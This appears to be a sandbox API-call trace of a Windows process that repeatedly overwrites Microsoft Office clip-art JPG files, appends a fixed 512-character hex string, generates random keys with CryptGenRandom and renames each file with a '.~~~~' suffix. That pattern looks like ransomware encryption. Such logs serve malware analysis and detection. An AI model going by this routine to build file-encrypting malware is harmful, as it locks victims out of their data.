	[0108.280] GetLastError () returned 0x0
	[0108.280] GetLastError () returned 0x0
	[0108.280] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.280] GetLastError () returned 0x0
	[0108.280] GetLastError () returned 0x0
	[0108.285] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe872e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.285] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x178d2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x178d2, lpOverlapped=0x0) returned 1
	[0108.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.287] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.287] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.287] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.287] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.287] CloseHandle (hObject=0x128) returned 1
	[0108.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.288] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.~~~~")) returned 1
	[0108.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.289] GetLastError () returned 0x0
	[0108.289] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.290] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.290] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.291] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22828079678) returned 1
	[0108.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa34a950, dwHighDateTime=0x1d60e1e)) 
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807d10
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807d10 | out: hHeap=0x300000) returned 1
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828718
	[0108.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.291] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.292] GetLastError () returned 0x0
	[0108.292] GetLastError () returned 0x0
	[0108.292] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.292] GetLastError () returned 0x0
	[0108.292] GetLastError () returned 0x0
	[0108.295] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe88b7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.295] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x17749, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x17749, lpOverlapped=0x0) returned 1
	[0108.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.296] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.296] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.297] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.297] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.297] CloseHandle (hObject=0x128) returned 1
	[0108.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.~~~~")) returned 1
	[0108.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.298] GetLastError () returned 0x0
	[0108.299] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.300] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.300] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.300] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22829039002) returned 1
	[0108.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa34a950, dwHighDateTime=0x1d60e1e)) 
	[0108.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6630
	[0108.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6630 | out: hHeap=0x300000) returned 1
	[0108.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28287b0
	[0108.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.301] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.301] GetLastError () returned 0x0
	[0108.301] GetLastError () returned 0x0
	[0108.302] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.302] GetLastError () returned 0x0
	[0108.302] GetLastError () returned 0x0
	[0108.419] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffea581, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.419] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x15a7f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x15a7f, lpOverlapped=0x0) returned 1
	[0108.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.420] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.420] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.420] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.420] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.421] CloseHandle (hObject=0x128) returned 1
	[0108.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.~~~~")) returned 1
	[0108.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.492] GetLastError () returned 0x0
	[0108.505] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.510] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.510] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.510] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22850050984) returned 1
	[0108.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa55fc90, dwHighDateTime=0x1d60e1e)) 
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28080c8
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28080c8 | out: hHeap=0x300000) returned 1
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28291c8
	[0108.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.511] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.511] GetLastError () returned 0x0
	[0108.512] GetLastError () returned 0x0
	[0108.512] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.512] GetLastError () returned 0x0
	[0108.512] GetLastError () returned 0x0
	[0108.516] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffebfcd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.516] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x14033, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x14033, lpOverlapped=0x0) returned 1
	[0108.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.517] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.517] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.518] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.518] CloseHandle (hObject=0x128) returned 1
	[0108.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.~~~~")) returned 1
	[0108.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.519] GetLastError () returned 0x0
	[0108.522] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.523] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.523] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.524] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22851376313) returned 1
	[0108.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa585df0, dwHighDateTime=0x1d60e1e)) 
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808100
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808100 | out: hHeap=0x300000) returned 1
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829260
	[0108.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.525] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.525] GetLastError () returned 0x0
	[0108.525] GetLastError () returned 0x0
	[0108.525] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.525] GetLastError () returned 0x0
	[0108.525] GetLastError () returned 0x0
	[0108.529] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffee880, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.529] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x11780, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x11780, lpOverlapped=0x0) returned 1
	[0108.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.534] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.534] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.534] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.534] CloseHandle (hObject=0x128) returned 1
	[0108.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.~~~~")) returned 1
	[0108.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.536] GetLastError () returned 0x0
	[0108.536] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0108.538] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.538] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.539] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22852876267) returned 1
	[0108.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa5abf50, dwHighDateTime=0x1d60e1e)) 
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808138
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808138 | out: hHeap=0x300000) returned 1
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829390
